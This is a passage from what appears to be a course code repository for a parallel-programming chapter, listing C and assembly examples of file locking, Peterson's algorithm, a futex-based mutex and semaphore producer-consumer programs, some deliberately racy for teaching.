7. Parallel Programming / 113 filesRead chapter
acconts (07-01-01)
MakefileMake / 21 lines
SRCMODULES = tools.c
OBJMODULES = $(SRCMODULES:.c=.o)
PROGRAMS = create read modify-00 modify-01 modify-02
CC = gcc
CFLAGS = -g -Wall -DLOCK=4
all: $(PROGRAMS)
%.o: %.c %.h
$(CC) $(CFLAGS) -c $< -o $@
$(PROGRAMS): %: %.c $(OBJMODULES)
$(CC) $(CFLAGS) $^ -o $@
clean:
rm -f *.o $(PROGRAMS)
ctags:
ctags *.c *.h
create.cC / 20 lines
#include <unistd.h>
#include "tools.h"
int main(int argc, char **argv)
{
int fd;
int data[] = {
301, 1000,
515, 1500,
768, 2000
};
check_arguments(argc, argv[0]);
fd = open_file(argv[1], 'w');
write(fd, data, sizeof(data));
close(fd);
return 0;
}
modify-00.cC / 30 lines
#include <stdio.h>
#include <unistd.h>
#include <err.h>
#include "tools.h"
enum {
data_size = 6
};
int main(int argc, char **argv)
{
int fd;
int data;
check_arguments(argc, argv[0]);
fd = open_file(argv[1], 'm');
lseek(fd, sizeof(int), SEEK_SET);
read(fd, &data, sizeof(data));
data += 100;
lseek(fd, -sizeof(int), SEEK_CUR);
write(fd, &data, sizeof(data));
printf("%d\n", data);
close(fd);
return 0;
}
modify-01.cC / 36 lines
#include <stdlib.h>
#include <unistd.h>
#include "tools.h"
enum {
sleep_time = 10
};
int main(int argc, char **argv)
{
int fd, size;
int from[2], to[2];
check_arguments(argc, argv[0]);
fd = open_file(argv[1], 'm');
size = lseek(fd, 0, SEEK_END);
lseek(fd, 0, SEEK_SET);
lock(argv[1], fd, size);
read_data(fd, from);
lseek(fd, sizeof(from), SEEK_CUR);
read_data(fd, to);
lseek(fd, sizeof(from[0]), SEEK_SET);
modify_data(fd, from, -100);
lseek(fd, 3*sizeof(to[0]), SEEK_CUR);
modify_data(fd, to, 100);
unlock(argv[1], fd, size);
close(fd);
return 0;
}
modify-02.cC / 39 lines
#include <stdlib.h>
#include <unistd.h>
#include "tools.h"
enum {
sleep_time = 10
};
int main(int argc, char **argv)
{
int fd, i, rc, size;
int from[2], to[2];
check_arguments(argc, argv[0]);
fd = open_file(argv[1], 'm');
size = lseek(fd, 0, SEEK_END);
lseek(fd, 0, SEEK_SET);
lock(argv[1], fd, size);
lseek(fd, 2*sizeof(from), SEEK_CUR);
read_data(fd, from);
lseek(fd, sizeof(from), SEEK_SET);
read_data(fd, to);
sleep(sleep_time);
lseek(fd, 5*sizeof(from[0]), SEEK_SET);
modify_data(fd, from, -200);
lseek(fd, 3*sizeof(to[0]), SEEK_SET);
modify_data(fd, to, 200);
unlock(argv[1], fd, size);
close(fd);
return 0;
}
read.cC / 30 lines
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <err.h>
#include "tools.h"
enum {
data_size = 6
};
int main(int argc, char **argv)
{
int fd, i;
int data[data_size];
check_arguments(argc, argv[0]);
fd = open_file(argv[1], 'r');
read(fd, data, sizeof(data));
for (i = 0; i < data_size; i++) {
printf("%d ", data[i]);
if (i % 2 == 1)
printf("\n");
}
close(fd);
return 0;
}
tools.cC / 145 lines
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <err.h>
#include <string.h>
#include <sys/file.h>
#include "tools.h"
void *xmalloc(int size)
{
void *p;
p = malloc(size);
if (!p) {
fprintf(stderr, "Could not allocate dynamic memory\n");
exit(1);
}
return p;
}
void check_arguments(int argc, const char *program_name)
{
if (argc < 2) {
fprintf(stderr, "usage %s <file name>\n", program_name);
exit(1);
}
}
int open_file(const char *file_path, int mode)
{
int fd;
switch (mode) {
case 'w':
fd = open(file_path, O_WRONLY|O_CREAT|O_TRUNC, 0666);
break;
case 'e':
fd = open(file_path, O_WRONLY|O_CREAT|O_EXCL, 0666);
break;
case 'm':
fd = open(file_path, O_RDWR, 0666);
break;
case 'r':
fd = open(file_path, O_RDONLY);
break;
}
if (fd == -1)
err(1, file_path);
return fd;
}
void read_data(int fd, int *data)
{
int rc;
rc = read(fd, data, sizeof(data));
if (rc != sizeof(data)) {
fprintf(stderr, "wrong data read\n");
exit(1);
}
}
void modify_data(int fd, int *data, int diff)
{
int original = data[1];
data[1] += diff;
write(fd, &data[1], sizeof(data[1]));
printf("%d: %d -> %d\n", data[0], original, data[1]);
}
static char *file_lock_str(const char *file_name)
{
char *file_lock;
file_lock = xmalloc(strlen(file_name) + 6);
strcpy(file_lock, file_name);
strcat(file_lock, ".lock");
return file_lock;
}
void file_lock(const char *file_path, int sleep_time)
{
int fd;
char *file_lock_name = file_lock_str(file_path);
while (1) {
fd = open(file_lock_name, O_WRONLY|O_CREAT|O_EXCL, 0666);
if (fd != -1) {
close(fd);
break;
}
if (errno != EEXIST)
err(1, file_lock_name);
sleep(sleep_time);
}
free(file_lock_name);
}
void file_unlock(const char *file_path)
{
char *file_lock_name = file_lock_str(file_path);
unlink(file_lock_name);
free(file_lock_name);
}
static void fcntl_lock(int fd, int type, int size)
{
struct flock s;
s.l_type = type;
s.l_whence = SEEK_SET;
s.l_start = 0;
s.l_len = size;
fcntl(fd, F_SETLKW, &s);
}
void lock(const char *file_name, int fd, int size)
{
#if LOCK == 1
file_lock(file_name, 1);
#elif LOCK == 2
flock(fd, LOCK_EX);
#elif LOCK == 3
lockf(fd, F_LOCK, size);
#elif LOCK == 4
fcntl_lock(fd, F_WRLCK, size);
#endif
}
void unlock(const char *file_name, int fd, int size)
{
#if LOCK == 1
file_unlock(file_name);
#elif LOCK == 2
flock(fd, LOCK_UN);
#elif LOCK == 3
lockf(fd, F_ULOCK, size);
#elif LOCK == 4
fcntl_lock(fd, F_UNLCK, size);
#endif
}
tools.hC / 12 lines
#ifndef TOOLS_H
#define TOOLS_H
void *xmalloc(int size);
void check_arguments(int argc, const char *program_name);
int open_file(const char *file_path, int mode);
void read_data(int fd, int *data);
void modify_data(int fd, int *data, int diff);
void lock(const char *file_name, int fd, int size);
void unlock(const char *file_name, int fd, int size);
#endif
assembly (07-01-01)
MakefileMake / 28 lines
SRCMODULES = inc.asm
OBJMODULES = $(SRCMODULES:.asm=.o)
OBJMODULES := $(OBJMODULES:.c=.o)
PROGRAMS = incs
CC = gcc
CFLAGS = -g -Wall
ASM = nasm
AFLAGS = -g -f elf64
all: $(PROGRAMS)
%.o: %.asm %.h
$(ASM) $(AFLAGS) $< -o $@
%.o: %.c %.h
$(CC) $(CFLAGS) -c $< -o $@
$(PROGRAMS): %: %.c $(OBJMODULES)
$(CC) $(CFLAGS) $^ -o $@
clean:
rm -f *.o $(PROGRAMS)
ctags:
ctags *.c *.h
inc.asmAssembly / 24 lines
global inc
section .data
timespec:
dq 2 ; seconds
dq 0 ; nanoseconds
section .text
inc:
push rbx
mov ebx, edi
inc ebx
mov rax, 35 ; SYS_nanosleep
mov rdi, timespec
xor esi, esi
syscall
mov eax, ebx
pop rbx
ret
incs.cC / 65 lines
#include <stdio.h>
#include <pthread.h>
#include "inc.h"
enum {
num_threads = 2
};
typedef struct {
int x;
#if PROTECTION == 1
pthread_mutex_t mut;
#endif
} data_t;
#if PROTECTION == 1
static void data_init(data_t *d)
{
pthread_mutex_init(&d->mut, NULL);
}
static void data_destroy(data_t *d)
{
pthread_mutex_destroy(&d->mut);
}
#endif
static void *worker(void *data)
{
data_t *d = data;
printf("%d\n", d->x);
#if PROTECTION == 1
pthread_mutex_lock(&d->mut);
#endif
d->x = inc(d->x);
#if PROTECTION == 1
pthread_mutex_unlock(&d->mut);
#endif
printf("%d\n", d->x);
return NULL;
}
int main()
{
int i;
data_t d;
pthread_t t[num_threads];
#if PROTECTION == 1
data_init(&d);
#endif
d.x = 5;
for (i = 0; i < num_threads; i++)
pthread_create(&t[i], NULL, worker, &d);
for (i = 0; i < num_threads; i++)
pthread_join(t[i], NULL);
#if PROTECTION == 1
data_destroy(&d);
#endif
return 0;
}
03 (07-01)
peterson-00.cC / 50 lines
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <err.h>
#include <unistd.h>
int main(int argc, char **argv)
{
int i, n, pid, *p, *interested, *var, *who_waits;
n = 2;
p = mmap(NULL, 5 * sizeof(*p), PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_SHARED, -1, 0);
if (p == MAP_FAILED)
err(1, "mmap");
interested = p;
who_waits = p + 2;
var = p + 3;
interested[0] = 0;
interested[1] = 0;
*who_waits = 0;
*var = 0;
for (i = 0; i < n; i++) {
pid = fork();
if (pid == -1)
err(1, "fork");
if (pid == 0) {
while (1) {
interested[i] = 1;
*who_waits = i;
while(*who_waits == i && interested[(i + 1) % n]) {}
printf("Entering process %d, variable %d\n", getpid(), *var);
(*var)++;
printf("Exiting process %d, variable %d\n", getpid(), *var);
sleep(4);
interested[i] = 0;
}
exit(0);
}
}
for (i = 0; i < n; i++)
wait(NULL);
return 0;
}
turns-00.cC / 49 lines
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <err.h>
#include <unistd.h>
int main(int argc, char **argv)
{
int i, n, pid, *p, *turn, *var;
if (argc < 2) {
fprintf(stderr, "Usage: %s <num processes>\n", argv[0]);
exit(1);
}
n = atoi(argv[1]);
p = mmap(NULL, 2 * sizeof(*p), PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_SHARED, -1, 0);
if (p == MAP_FAILED)
err(1, "mmap");
turn = p;
var = p + 1;
*turn = 0;
*var = 0;
for (i = 0; i < n; i++) {
pid = fork();
if (pid == -1)
err(1, "fork");
if (pid == 0) {
while (1) {
while (*turn != i) {}
(*var)++;
printf("Turn: %d, changed variable: %d\n", i, *var);
*turn = (i + 1) % n;
sleep(1);
}
exit(0);
}
}
for (i = 0; i < n; i++)
wait(NULL);
return 0;
}
variables-00.cC / 59 lines
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <err.h>
#include <unistd.h>
int main(int argc, char **argv)
{
int i, n, pid, *p, *locked, *var;
if (argc < 2) {
fprintf(stderr, "Usage: %s <num processes>\n", argv[0]);
exit(1);
}
n = atoi(argv[1]);
p = mmap(NULL, 2 * sizeof(*p), PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_SHARED, -1, 0);
if (p == MAP_FAILED)
err(1, "mmap");
locked = p;
var = p + 1;
*locked = 0;
*var = 0;
for (i = 0; i < n; i++) {
pid = fork();
if (pid == -1)
err(1, "fork");
if (pid == 0) {
while (1) {
while (*locked == 1) {}
*locked = 1;
(*var)++;
printf("Increase from process %d", getpid());
*locked = 0;
usleep(700000);
}
exit(0);
}
}
while (1) {
while (*locked == 1) {}
*locked = 1;
printf("Variable with value: %d\n", *var);
*locked = 0;
usleep(500000);
}
for (i = 0; i < n; i++)
wait(NULL);
return 0;
}
variables-01.cC / 61 lines
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <err.h>
#include <unistd.h>
int main(int argc, char **argv)
{
int i, n, pid, *p, *locked, *var;
if (argc < 2) {
fprintf(stderr, "Usage: %s <num processes>\n", argv[0]);
exit(1);
}
n = atoi(argv[1]);
p = mmap(NULL, 2 * sizeof(*p), PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_SHARED, -1, 0);
if (p == MAP_FAILED)
err(1, "mmap");
locked = p;
var = p + 1;
*locked = 0;
*var = 0;
for (i = 0; i < n; i++) {
pid = fork();
if (pid == -1)
err(1, "fork");
if (pid == 0) {
while (1) {
while (*locked == 1) {}
sleep(i + 1);
*locked = 1;
printf("Process: %d, before changing variable: %d\n", getpid(), *var);
(*var)++;
printf("Process: %d, after changing variable: %d\n", getpid(), *var);
*locked = 0;
}
exit(0);
}
}
#if 0
while (1) {
while (*locked == 1) {}
*locked = 1;
printf("Variable with value: %d\n", *var);
*locked = 0;
sleep(1);
}
#endif
for (i = 0; i < n; i++)
wait(NULL);
return 0;
}
futex (07-01-05)
MakefileMake / 28 lines
SRCMODULES = atomic.asm futex.c mutex.c
OBJMODULES = $(SRCMODULES:.asm=.o)
OBJMODULES := $(OBJMODULES:.c=.o)
PROGRAMS = main futex_demo
CC = gcc
CFLAGS = -g -Wall -O0
ASM = nasm
AFLAGS = -g -f elf64
all: $(PROGRAMS)
%.o: %.asm %.h
$(ASM) $(AFLAGS) $< -o $@
%.o: %.c %.h
$(CC) $(CFLAGS) -c $< -o $@
$(PROGRAMS): %: %.c $(OBJMODULES)
$(CC) $(CFLAGS) $^ -o $@
clean:
rm -f *.o $(PROGRAMS)
ctags:
ctags *.c *.h
atomic.asmAssembly / 20 lines
global xchg
global cmpxchg
global dec
section .text
xchg:
mov eax, esi
xchg dword [rdi], eax
ret
cmpxchg:
mov eax, esi
lock cmpxchg dword [rdi], edx
ret
dec:
mov eax, -1
lock xadd dword [rdi], eax
ret
atomic.hC / 8 lines
#ifndef ATOMIC_H
#define ATOMIC_H
int xchg(int *var, int old);
int cmpxchg(int *var, int old, int new);
int dec(int *var);
#endif
event02.cC / 161 lines
#include <stdio.h>
#include <errno.h>
#include <pthread.h>
#include <unistd.h>
#include <sched.h>
#include <sys/syscall.h>
#include <linux/futex.h>
static int val = 0;
/* Lets main know Thread 3 has already read val. */
static volatile int thread3_read = 0;
/* futex_wait: sleep only if *addr == expected */
static int futex_wait(int *addr, int expected)
{
return syscall(SYS_futex, addr, FUTEX_WAIT, expected, NULL, NULL, 0);
}
/* Wake all threads waiting on addr */
static int futex_wake(int *addr)
{
return syscall(SYS_futex, addr, FUTEX_WAKE, 100, NULL, NULL, 0);
}
/* ------------------------------------------------ */
/* Thread 2 */
/* ------------------------------------------------ */
static void *thread2(void *arg)
{
int oldval;
(void)arg;
printf("Thread 2: read val\n");
oldval = __sync_fetch_and_add(&val, 0);
printf("Thread 2: val = %d\n", oldval);
printf("Thread 2: futex_wait\n");
futex_wait(&val, oldval);
printf("Thread 2: return from futex_wait\n");
return NULL;
}
/* ------------------------------------------------ */
/* Thread 3 */
/* ------------------------------------------------ */
static void *thread3(void *arg)
{
int oldval;
int result;
(void)arg;
printf("Thread 3: read val\n");
oldval = __sync_fetch_and_add(&val, 0);
printf("Thread 3: val = %d\n", oldval);
/*
* Tell Thread 1 that Thread 3 has read val,
* but has not called futex_wait yet.
*/
__sync_lock_test_and_set(&thread3_read, 1);
/*
* Delay Thread 3.
*
* Thread 1 will change val and call
* futex_wake while we are here.
*/
usleep(500000);
printf("Thread 3: futex_wait\n");
errno = 0;
result = futex_wait(&val, oldval);
printf("Thread 3: return from futex_wait\n");
if (result == -1 && errno == EAGAIN)
{
printf("Thread 3: EAGAIN - val changed, "
"so the thread did not sleep\n");
}
return NULL;
}
/* ------------------------------------------------ */
/* Thread 1 */
/* ------------------------------------------------ */
int main(void)
{
pthread_t t2;
pthread_t t3;
int woken;
/*
* Start Thread 2.
*/
pthread_create(&t2, NULL, thread2, NULL);
/*
* Give Thread 2 some time to enter futex_wait.
*/
usleep(100000);
/*
* Start Thread 3.
*/
pthread_create(&t3, NULL, thread3, NULL);
/*
* Wait until Thread 3 has read val.
*/
while (__sync_fetch_and_add(&thread3_read, 0) == 0)
{
sched_yield();
}
/*
* main() is Thread 1.
*/
printf("Thread 1: ++val\n");
__sync_add_and_fetch(&val, 1);
printf("Thread 1: val = %d\n",
__sync_fetch_and_add(&val, 0));
printf("Thread 1: futex_wake\n");
woken = futex_wake(&val);
printf("Thread 1: woke %d thread(s)\n", woken);
pthread_join(t2, NULL);
pthread_join(t3, NULL);
return 0;
}
futex.cC / 15 lines
#include <linux/futex.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "futex.h"
void futex_wait(int *futex, int expected)
{
syscall(SYS_futex, futex, FUTEX_WAIT, expected, NULL, NULL, 0);
}
void futex_wake(int *futex, int num)
{
syscall(SYS_futex, futex, FUTEX_WAKE, num, NULL, NULL, 0);
}
futex.hC / 7 lines
#ifndef FUTEX_H
#define FUTEX_H
void futex_wait(int *futex, int expected);
void futex_wake(int *futex, int num);
#endif
futex_demo.cC / 141 lines
/* futex_demo.c
Usage: futex_demo [nloops]
(Default: 5)
Demonstrate the use of futexes in a program where parent and child
use a pair of futexes located inside a shared anonymous mapping to
synchronize access to a shared resource: the terminal. The two
processes each write 'num-loops' messages to the terminal and employ
a synchronization protocol that ensures that they alternate in
writing messages.
*/
#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <linux/futex.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <unistd.h>
static uint32_t *futex1, *futex2, *iaddr;
static int
futex(uint32_t *uaddr, int futex_op, uint32_t val,
const struct timespec *timeout, uint32_t *uaddr2, uint32_t val3)
{
return syscall(SYS_futex, uaddr, futex_op, val, timeout, uaddr2, val3);
}
/* Acquire the futex pointed to by 'futexp': wait for its value to
become 1, and then set the value to 0. */
static void fwait(uint32_t *futexp)
{
long s;
const uint32_t one = 1;
/* atomic_compare_exchange_strong(ptr, oldval, newval)
atomically performs the equivalent of:
if (*ptr == *oldval)
*ptr = newval;
It returns true if the test yielded true and *ptr was updated. */
while (1) {
/* Is the futex available? */
if (atomic_compare_exchange_strong(futexp, &one, 0))
break; /* Yes */
/* Futex is not available; wait. */
s = futex(futexp, FUTEX_WAIT, 0, NULL, NULL, 0);
if (s == -1 && errno != EAGAIN)
err(EXIT_FAILURE, "futex-FUTEX_WAIT");
}
}
/* Release the futex pointed to by 'futexp': if the futex currently
has the value 0, set its value to 1 and then wake any futex waiters,
so that if the peer is blocked in fwait(), it can proceed. */
static void
fpost(uint32_t *futexp)
{
long s;
const uint32_t zero = 0;
/* atomic_compare_exchange_strong() was described
in comments above. */
if (atomic_compare_exchange_strong(futexp, &zero, 1)) {
s = futex(futexp, FUTEX_WAKE, 1, NULL, NULL, 0);
if (s == -1)
err(EXIT_FAILURE, "futex-FUTEX_WAKE");
}
}
int
main(int argc, char *argv[])
{
pid_t childPid;
unsigned int nloops;
setbuf(stdout, NULL);
nloops = (argc > 1) ? atoi(argv[1]) : 5;
/* Create a shared anonymous mapping that will hold the futexes.
Since the futexes are being shared between processes, we
subsequently use the "shared" futex operations (i.e., not the
ones suffixed "_PRIVATE"). */
/* "sizeof(*iaddr) * 2" because 2 futexes */
iaddr = mmap(NULL, sizeof(*iaddr) * 2, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_SHARED, -1, 0);
if (iaddr == MAP_FAILED)
err(EXIT_FAILURE, "mmap");
futex1 = &iaddr[0];
futex2 = &iaddr[1];
*futex1 = 0; /* State: unavailable */
*futex2 = 1; /* State: available */
/* Create a child process that inherits the shared anonymous
mapping. */
childPid = fork();
if (childPid == -1)
err(EXIT_FAILURE, "fork");
if (childPid == 0) { /* Child */
for (unsigned int j = 0; j < nloops; j++) {
fwait(futex1);
printf("Child (%jd) %u\n", (intmax_t) getpid(), j);
fpost(futex2);
}
exit(EXIT_SUCCESS);
}
/* Parent falls through to here. */
for (unsigned int j = 0; j < nloops; j++) {
fwait(futex2);
printf("Parent (%jd) %u\n", (intmax_t) getpid(), j);
fpost(futex1);
}
wait(NULL);
exit(EXIT_SUCCESS);
}
main.cC / 48 lines
#include <stdio.h>
#include <unistd.h>
#include <pthread.h>
#include "mutex.h"
enum {
num_threads = 3,
pause_seconds = 1
};
typedef struct {
int val;
int x;
} data_t;
static void *worker_thread(void *data)
{
data_t *d = data;
lock(&d->val);
d->x++;
unlock(&d->val);
return NULL;
}
int main()
{
int i;
pthread_t t;
data_t d;
d.val = 0;
d.x = 0;
for (i = 0; i < num_threads; i++)
pthread_create(&t, NULL, worker_thread, &d);
while (1) {
lock(&d.val);
printf("%d\n", d.x);
unlock(&d.val);
sleep(pause_seconds);
}
return 0;
}
mutex.cC / 30 lines
#include "atomic.h"
#include "futex.h"
#include "mutex.h"
void lock(int *val)
{
int old;
old = cmpxchg(val, 0, 1);
if (old != 0) {
if (old != 2)
old = xchg(val, 2);
while (old != 0) {
futex_wait(val, 2);
old = xchg(val, 2);
}
}
}
void unlock(int *val)
{
int old;
old = dec(val);
if (old != 1) {
*val = 0;
futex_wake(val, 1);
}
}
mutex.hC / 7 lines
#ifndef MUTEX_H
#define MUTEX_H
void lock(int *val);
void unlock(int *val);
#endif
Book example: prod_cons.c
prod_cons.cC / 126 lines
#include <stdio.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
#include <math.h>
#define BUFFER_SIZE 4096
#define CONSUMERS_COUNT 10
#define PAUSE_LENGTH 5
struct buf_str {
int count;
double values[BUFFER_SIZE];
} buffer;
void init_buffer()
{
buffer.count = 0;
}
void put_buffer_item(double v)
{
buffer.values[buffer.count] = v;
buffer.count++;
}
double get_buffer_item()
{
buffer.count--;
return buffer.values[buffer.count];
}
sem_t buf_empty;
sem_t buf_full;
pthread_mutex_t buf_mutex = PTHREAD_MUTEX_INITIALIZER;
double grand_total = 0;
long grand_count = 0;
pthread_mutex_t grand_mutex = PTHREAD_MUTEX_INITIALIZER;
sem_t producers_count, data_pieces;
void *producer_thread(void *v)
{ /* v points to the name of the source */
double val;
FILE *f = fopen((char*)v, "r");
if(!f) {
perror((char*)v);
sem_wait(&producers_count);
return NULL;
}
while(!feof(f)) {
if(1 != fscanf(f, "%lf", &val))
continue;
sem_post(&data_pieces);
sem_wait(&buf_empty); /* the Producer */
pthread_mutex_lock(&buf_mutex);
put_buffer_item(val);
pthread_mutex_unlock(&buf_mutex);
sem_post(&buf_full); /* ------- */
}
sem_wait(&producers_count);
return NULL;
}
void *consumer_thread(void *ignored)
{
for(;;) {
double val;
sem_wait(&buf_full); /* The Consumer */
pthread_mutex_lock(&buf_mutex);
val = get_buffer_item();
pthread_mutex_unlock(&buf_mutex);
sem_post(&buf_empty); /* ------- */
val = log(val);
pthread_mutex_trylock(&grand_mutex);
grand_total += val;
grand_count++;
pthread_mutex_unlock(&grand_mutex);
sem_wait(&data_pieces);
}
}
int main(int argc, char **argv)
{
pthread_t thr;
int i;
init_buffer();
sem_init(&buf_empty, 0, BUFFER_SIZE);
sem_init(&buf_full, 0, 0);
sem_init(&producers_count, 0, 0);
sem_init(&data_pieces, 0, 0);
for(i = 1; i < argc; i++) {
sem_post(&producers_count);
pthread_create(&thr, NULL, producer_thread, (void*)argv[i]);
}
for(i = 0; i < CONSUMERS_COUNT; i++)
pthread_create(&thr, NULL, consumer_thread, NULL);
usleep(100000);
for(;;) {
int p_c, d_p;
double gt;
long gc;
pthread_mutex_lock(&grand_mutex);
gt = grand_total;
gc = grand_count;
grand_total = 0;
grand_count = 0;
sem_getvalue(&producers_count, &p_c);
sem_getvalue(&data_pieces, &d_p);
pthread_mutex_unlock(&grand_mutex);
if(gc > 0)
printf("total average: %f (sum = %f; count = %ld)\n",
gt/((double)gc), gt, gc);
else
printf("No data yet...\n");
printf("%d producers still active\n", p_c);
printf("%d data pieces being processed\n", d_p);
if(p_c == 0 && d_p == 0) {
printf("No more producers, no more data\n");
break;
}
sleep(PAUSE_LENGTH);
}
return 0;
}
01 (07-02)
generate-data-02.cC / 29 lines
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(int argc, char **argv)
{
int i, n, x;
srand(time(NULL));
if (argc < 3) {
fprintf(stderr, "Usage %s <file name> <num data> \n", argv[0]);
return 1;
}
n = atoi(argv[2]);
FILE *f = fopen(argv[1], "w");
if (!f) {
perror("fopen");
return 1;
}
for (i = 0; i < n; i++) {
x = rand();
fprintf(f, "%d\n", x);
}
fclose(f);
return 0;
}
producer-consumer-01.cC / 86 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
typedef struct {
sem_t empty;
sem_t full;
pthread_mutex_t mutex;
int value;
} data_t;
static void *producer(void *data)
{
data_t *d = data;
while (1) {
sem_wait(&d->empty);
pthread_mutex_lock(&d->mutex);
d->value++;
usleep(100000);
pthread_mutex_unlock(&d->mutex);
sem_post(&d->full);
}
return NULL;
}
static void *consumer(void *data)
{
data_t *d = data;
while (1) {
sem_wait(&d->full);
pthread_mutex_lock(&d->mutex);
d->value--;
usleep(100000);
pthread_mutex_unlock(&d->mutex);
sem_post(&d->empty);
}
return NULL;
}
int main(int argc, char **argv)
{
int i, n;
pthread_t *tc, *tp;
data_t *d;
if (argc < 2) {
fprintf(stderr, "Usage: %s <number of threads>\n", argv[0]);
return 1;
}
n = atoi(argv[1]);
d = malloc(n * sizeof(*d));
tc = malloc(n * sizeof(*tc));
tp = malloc(n * sizeof(*tp));
for (i = 0; i < n; i++) {
sem_init(&d[i].empty, 0, n);
sem_init(&d[i].full, 0, 0);
pthread_mutex_init(&d[i].mutex, NULL);
d[i].value = 0;
pthread_create(&tp[i], NULL, producer, &d[i]);
pthread_create(&tc[i], NULL, consumer, &d[i]);
}
while (1) {
for (i = 0; i < n; i++)
printf("%2d ", d[i].value);
printf("\n");
usleep(200000);
}
for (i = 0; i < n; i++) {
pthread_join(tc[i], NULL);
pthread_join(tp[i], NULL);
sem_destroy(&d[i].empty);
sem_destroy(&d[i].full);
pthread_mutex_destroy(&d[i].mutex);
}
return 0;
}
producer-consumer-02.cC / 126 lines
#include <stdio.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
#include <math.h>
#define BUFFER_SIZE 4096
#define CONSUMERS_COUNT 10
#define PAUSE_LENGTH 5
struct buf_str {
int count;
double values[BUFFER_SIZE];
} buffer;
void init_buffer()
{
buffer.count = 0;
}
void put_buffer_item(double v)
{
buffer.values[buffer.count] = v;
buffer.count++;
}
double get_buffer_item()
{
buffer.count--;
return buffer.values[buffer.count];
}
sem_t buf_empty;
sem_t buf_full;
pthread_mutex_t buf_mutex = PTHREAD_MUTEX_INITIALIZER;
double grand_total = 0;
long grand_count = 0;
pthread_mutex_t grand_mutex = PTHREAD_MUTEX_INITIALIZER;
sem_t producers_count, data_pieces;
void *producer_thread(void *v)
{ /* v points to the name of the source */
double val;
FILE *f = fopen((char*)v, "r");
if(!f) {
perror((char*)v);
sem_wait(&producers_count);
return NULL;
}
while(!feof(f)) {
if(1 != fscanf(f, "%lf", &val))
continue;
sem_post(&data_pieces);
sem_wait(&buf_empty); /* the Producer */
pthread_mutex_lock(&buf_mutex);
put_buffer_item(val);
pthread_mutex_unlock(&buf_mutex);
sem_post(&buf_full); /* ------- */
}
sem_wait(&producers_count);
return NULL;
}
void *consumer_thread(void *ignored)
{
for(;;) {
double val;
sem_wait(&buf_full); /* The Consumer */
pthread_mutex_lock(&buf_mutex);
val = get_buffer_item();
pthread_mutex_unlock(&buf_mutex);
sem_post(&buf_empty); /* ------- */
val = log(val);
pthread_mutex_lock(&grand_mutex);
grand_total += val;
grand_count++;
pthread_mutex_unlock(&grand_mutex);
sem_wait(&data_pieces);
}
}
int main(int argc, char **argv)
{
pthread_t thr;
int i;
init_buffer();
sem_init(&buf_empty, 0, BUFFER_SIZE);
sem_init(&buf_full, 0, 0);
sem_init(&producers_count, 0, 0);
sem_init(&data_pieces, 0, 0);
for(i = 1; i < argc; i++) {
sem_post(&producers_count);
pthread_create(&thr, NULL, producer_thread, (void*)argv[i]);
}
for(i = 0; i < CONSUMERS_COUNT; i++)
pthread_create(&thr, NULL, consumer_thread, NULL);
usleep(100000);
for(;;) {
int p_c, d_p;
double gt;
long gc;
pthread_mutex_lock(&grand_mutex);
gt = grand_total;
gc = grand_count;
grand_total = 0;
grand_count = 0;
sem_getvalue(&producers_count, &p_c);
sem_getvalue(&data_pieces, &d_p);
pthread_mutex_unlock(&grand_mutex);
if(gc > 0)
printf("total average: %f (sum = %f; count = %ld)\n",
gt/((double)gc), gt, gc);
else
printf("No data yet...\n");
printf("%d producers still active\n", p_c);
printf("%d data pieces being processed\n", d_p);
if(p_c == 0 && d_p == 0) {
printf("No more producers, no more data\n");
break;
}
sleep(PAUSE_LENGTH);
}
return 0;
}
producer-consumer-03.cC / 196 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
#include <math.h>
#include <string.h>
enum {
buf_size = 4096,
num_consumers = 4
};
typedef struct {
int i;
double d[buf_size];
} buffer_t;
static void buf_init(buffer_t *buf) {
buf->i = 0;
}
static void buf_push(buffer_t *buf, double x) {
buf->d[buf->i] = x;
buf->i++;
}
static double buf_pop(buffer_t *buf) {
buf->i--;
return buf->d[buf->i];
}
typedef struct {
sem_t data_sem;
sem_t empty;
sem_t full;
const char *file_name;
pthread_mutex_t buf_mutex;
buffer_t buf;
pthread_mutex_t sum_mutex;
double sum;
long count;
pthread_mutex_t num_producers_mutex;
int num_producers;
pthread_mutex_t data_pieces_mutex;
int data_pieces;
int done;
} data_t;
static void data_init(data_t *d)
{
sem_init(&d->data_sem, 0, 0);
sem_init(&d->empty, 0, buf_size);
sem_init(&d->full, 0, 0);
pthread_mutex_init(&d->buf_mutex, NULL);
buf_init(&d->buf);
pthread_mutex_init(&d->sum_mutex, NULL);
d->sum = 0;
d->count = 0;
pthread_mutex_init(&d->num_producers_mutex, NULL);
d->num_producers = 0;
pthread_mutex_init(&d->data_pieces_mutex, NULL);
d->data_pieces = 0;
d->done = 0;
}
static void data_destroy(data_t *d)
{
sem_destroy(&d->data_sem);
sem_destroy(&d->empty);
sem_destroy(&d->full);
pthread_mutex_destroy(&d->buf_mutex);
pthread_mutex_destroy(&d->sum_mutex);
pthread_mutex_destroy(&d->num_producers_mutex);
pthread_mutex_destroy(&d->data_pieces_mutex);
}
static void *producer(void *data)
{
data_t *d = data;
char *file_name = strdup(d->file_name);
sem_post(&d->data_sem);
double x;
FILE *f;
f = fopen(file_name, "r");
if (!f) {
perror(file_name);
